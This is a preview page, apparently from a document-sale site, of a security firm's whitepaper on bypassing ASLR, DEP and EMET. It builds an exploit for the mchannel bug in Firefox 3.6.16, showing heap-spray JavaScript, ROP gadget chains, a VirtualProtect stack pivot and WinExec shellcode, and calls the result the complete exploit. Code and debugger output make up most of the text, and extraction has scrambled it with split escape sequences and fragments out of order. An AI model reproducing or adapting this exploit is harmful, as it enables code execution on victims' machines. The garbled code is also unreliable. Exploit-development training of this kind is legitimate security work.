Language:EN
Pages: 19
Rating : ⭐⭐⭐⭐⭐
Price: $10.99
Page 1 Preview
the stack frame the block between esp and ebp

The stack frame the block between esp and ebp

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

Whitepaper on

Information Security Services, Products & Trainings

WWW.SECFENCE.COM

Data Execution Prevention (DEP) is a security feature included in modern operating systems. It is known to be available in Linux, Mac OS X, and Microsoft Windows operating systems and is intended to prevent an application or service from executing code from a non-executable memory region. Whereas Address space layout randomization (ASLR) is a computer security technique which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process's address space. In this paper we will cover the techniques to bypass these security mechanisms. We will also look at how custom shellcodes are developed, and this paper also looks at the EMET (Enhanced Mitigation Experience Toolkit) bypass.

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

function alfa(){
var a1=document.cookie;
}
var a=window.setTimeout(alfa,100);
alert(a.toString(16));

The above leak is little old now, and provides us with a memory address inside mshtml.dll at the address rendered by a.toString(16)-1 This was a good pointer to pointer, similarly, 0x7ffe360 in this line you can find the base address of ntdll.dll in win7 64 bit whereas in all windows 32 bit versions, 7ffe300 has the address of sysenter and 0x7ffe304 the ret instruction. But all these are pointer to pointers i.e. ** whereas to form a shellcode dynamically, we need a direct pointer. The custom shellcodes manufactured dynamically from memory leaks of pointers, can be simple and provide us with more control, than the other traditional shellcodes developed by msf etc. The main advantage of custom shellcodes made by pointer leaks are that, you can easily evade the mitigations like, EMET (enhanced mitigation toolkit) and other AV engines. Let us proceed with an example. The example vulnerability (mchannel) is affecting Firefox 3.6.16.

WWW.SECFENCE.COM

Let us proceed with the example and in coding. The example vulnerability (mchannel) is affecting Firefox 3.6.16 and its working exploits are already available. But we'll develop the ROP and shellcode manually and hand crafted without any need for automated scripts as in some cases automation misses certain points and makes the things complex and the solutions are not so intelligent and simple.

<html>
<head>
</head>
<body>
<object id="d" ></object>
<script>

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

var obj = unescape("\x00%u0c10"); // will make ECX register to point to at // byte of our chunk will be loaded.

<body>
<objectid="d"></object>
<script>

function ignite() {
var e=document.getElementById("d");

var heap = unescape(
/* ROP : */"% u0101% u0102"
+"% u0103% u0104"
+"% u0105% u0106"
+"% u0107% u0108"
+"% u0109% u010a"
+"% u010b% u010c"
+"% u010d% u010e"
+"% u010f% u0111"
+"% u0112% u0113"
+"% u0114% u0115"
+"% u0116% u0117"
+"% u0118% u0119"
+"% u011a% u011b"
+"% u011c% u011d"
+"% u011e% u011f"
+"% uCCCC% uCCCC% uCCCC% uCCCC"
+"% uBBBB% uCCCC% uDDDD% uEEEE"

/* Shellcode : */ +unescape("% u9090% u9090"+"% u9090% u9090"

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

while (heapblock.length<0x80000) {heapblock += heap+heapblock;}

var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2- 0x2/2);

var spray = new Array()

}

In code we have to place a blank space between "%" and "u" as unicode support is converting the blocks into respective characters, remember to remove these spaces from all blocks inside unescape blocks. We are going to develop this exploit for win7 -win32 (you may check offsets for winxp, even offsets in win32 & wow64 win7 also differs check them and fix them). Also install the EMET from Microsoft’s website. It mitigates most of the shellcodes. But our shellcode will also bypass it and will be compact.

The Result of above code:

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

There are certain instructions like:

or like these can be of help. We could not find anything useful. But following gadget was discovered:

6623BE51:XCHGEAX,ESP
ret

This gadget needs the address to be loaded into eax register at place where ECX register is pointing. The ECX register points to first bytes of our heap block and then the next call will be made to the address at ECX + 8. And the debugger out put:

0C1000000101020103010401
0C1000080501060107010801
0C10001009010A010B010C01 ...

WWW.SECFENCE.COM

We need to place the first gadget address at 0C100018: 0D 01 0E 1E and change the 0C100000: 01 01 02 01 with address to (address of offset to the address of next gadget[ XCHG EAX,ESP;ret ])-8 that is at "%u 0107%u 0108" if at 0x0C100000 has 0x0C100004

See the following code section:

+"% u0103%u 0104"
+"%u 0105% u0106"
+"%u BE51%u 6623"// XCHG EAX,ESP;ret
+"%u 0109%u 010a"
+"% u010b%u 010c"
+"%u 5B33% u661C"// :GR469A~1.DLL
// 8B01 MOV EAX,DWORD PTR DS:[ECX]
// FF50 08 CALL DWORD PTR DS:[EAX+8]
+"% u010f% u0111"
+"%u 0112% u0113"
+"%u 0114%u 0115"
+"%u 0116%u 0117"
+"%u 0118% u0119"
+"% u011a%u 011b"
+"%u 011c%u 011d"
+"%u 011e%u 011f"

And this will result into our heap block transformed into stack as shown below:

0C1000000C100004
0C10000401040103
0C10000801060105
0C10000C6623BE51 GR469A~1.6623BE51
0C100010010A0109
0C100014010C010B firefox.010C010B
0C100018661C5B33 GR469A~1.661C5B33
0C10001C0111010F firefox.0111010F
0C10002001130112 firefox.01130112
0C10002401150114 firefox.01150114
0C10002801170116 firefox.01170116
0C10002C01190118
0C100030011B011A
0C100034011D011C
0C100038011F011E
0C10003C90909090
0C10004090909090
0C100044 CCCCCCCC
0C100048 CCCCCCCC
0C10004C CCCCBBBB
0C100050 EEEEDDDD
0C100054636C6163
0C1000586578652E
0C10005C CCCC0000

WWW.SECFENCE.COM
WWW.SECFENCE.COM

We have completed the first phase with successful stack pivot, so the next return instruction will land on the address in our stack (our heap block). Now next phase is to get a pointer to the kernel32.VirtualProtect function and put its arguments on our stack to bypass the DEP.

POPESI
LEAVE
RETN4

The instruction that will cause trouble is LEAVE it fixes the stack by dissolving the stack frame. The stack frame is the block between ESP and EBP, and until now the EBP register points to an address that will make us lose our stack once again, so the EBP must contain an address just before the start of shellcode. Now we have the following code:

WWW.SECFENCE.COM

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);

var vftable = unescape("\x00%u0 c10");

+"%u BCBB%u 68F1"//POP EDI; POP EBX; POP ESI; RETN
+"%u 0105%u 0106"//
+"%u BE51%u 6623"// XCHG EAX,ESP;ret
+"%u 0030%u 0c10"//
+"%u 7C2A%u 68F0"// POP EDI; POP EBP; RETN
+"%u 5B33%u 661C"// :GR469A~1.DLL
// 8B01 MOV EAX,DWORD PTR DS:[ECX]
// FF50 08 CALL DWORD PTR DS:[EAX+8]
+"% u0030% u0c10"// will be popped in ebp
+"%u F1DD% u68F2"// Pointer to Virtual Protect
+"% u0030% u0c10"// Base Address of Shellcode
+"%u 0040% u0000"// PAGE_EXECUTE_READ_WRITE

attributes

+"%u 0038%u 0c10"// will be popped in esi

)

+"%u CCCC% uCCCC% uCCCC% uCCCC"
+"%u BBBB%u CCCC%u DDDD%u EEEE"

while(vtable.length < 0x10000) {vtable += vtable;}

var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);

for (var iter=0;iter<0x100;iter++){

spray[iter] = finalspray+heap;

EAX0C100030
ECX0C0FFFDC
EDX770264F4 ntdll.KiFastSystemCallRet
EBX6623BE51 GR469A~1.6623BE51
ESP0C10003C
EBP0C0C0C0C
ESI0C100038

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM
WWW.SECFENCE.COM

Now comes the next phase of our mission, the shellcode formation. We have two registers containing addresses within GR469A~1.dll

EBX6623BE51 GR469A~1.6623BE51
EDI661C5B33 GR469A~1.661C5B33

Remember interchange the bytes in pair, if the number of bytes is odd then the begining of last pair can be made to a nop 90. Then we will take the address of Kernel32 address into EAX register from pointer to pointer [EDI]:

8B07MOVEAX,DWORDPTRDS:[EDI]

WWW.SECFENCE.COM

0008E695 WinExec

Now we need to calculate the offset:

"%u F505% u03F6 %u 9000"

Then we'll push 5 as an argument to WinExec.

Then we have ecx pointing to somewhere in our heap block.

ECX=0x0C0FFFDC

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

and push ecx on stack

FFD0 CALL EAX

"%u D0FF"

WWW.SECFENCE.COM

And finally after spending a lot of time, we have the exploit code ready.  The complete exploit

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0);

var vftable = unescape("\x00% u0c10");

+"% uBCBB% u68F1"//POP EDI; POP EBX; POP ESI; RETN
+"%u 0105% u0106"//
+"%u BE51%u 6623"// XCHG EAX,ESP;ret
+"%u 0030% u0c10"
+"% u7C2A% u68F0"// POP EDI; POP EBP; RETN
+"% u5B33% u661C"// :GR469A~1.DLL
// 8B01 MOV EAX,DWORD PTR DS:[ECX]
// FF50 08 CALL DWORD PTR DS:[EAX+8]
+"% u0030% u0c10"// will be popped in ebp
+"% uF1DD% u68F2"// Pointer to Virtual Protect
+"% u0030% u0c10"// Base Address of Shellcode
+"% u0040% u0000"// PAGE_EXECUTE_READ_WRITE
attributes
+"% u0038% u0c10"// will be popped in esi

)

+unescape("% u9090% u9090"+"% u9090% u9090"

+"% uC781% u986D%u 0007"//81C7 6D980700 ADD EDI,7986D

WWW.SECFENCE.COM
+"% u9090"
+"% u056A"//6A 05 PUSH 5
+"% u9051"//51 PUSH ECX; 90 NOP
+"% uF08B"//8BF0 MOV ESI,EAX
+"% uD0FF"//FFD0 CALL EAX

// +"% ucccc"

+"%u EE81% u95Fa% u0004"//81EE FA950400 SUB ESI,495FA

+"%u FF6A"//6A FF PUSH -1
+"%u D6FF"//FFD6 CALL ESI
+"%u CCCC"

while (heapblock.length<0x80000) {heapblock += heap+heapblock;}

var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2

- 0x2/2);
var spray = new Array()
}

WHITEPAPER – Bypassing ASLR/DEP

WWW.SECFENCE.COM

ABOUT SECFENCE:
Secfence Technologies is a pure-play Information Security Company based out of India providing InfoSec Services, Trainings & Products. We focus on both offensive and defensive sides of security. For more details visit

WWW.SECFENCE.COM

You are viewing 1/3rd of the document.Purchase the document to get full access instantly

Immediately available after payment
Both online and downloadable
No strings attached
How It Works
Login account
Login Your Account
Place in cart
Add to Cart
send in the money
Make payment
Document download
Download File
img

Uploaded by : Cameron Nelson

PageId: DOC412F630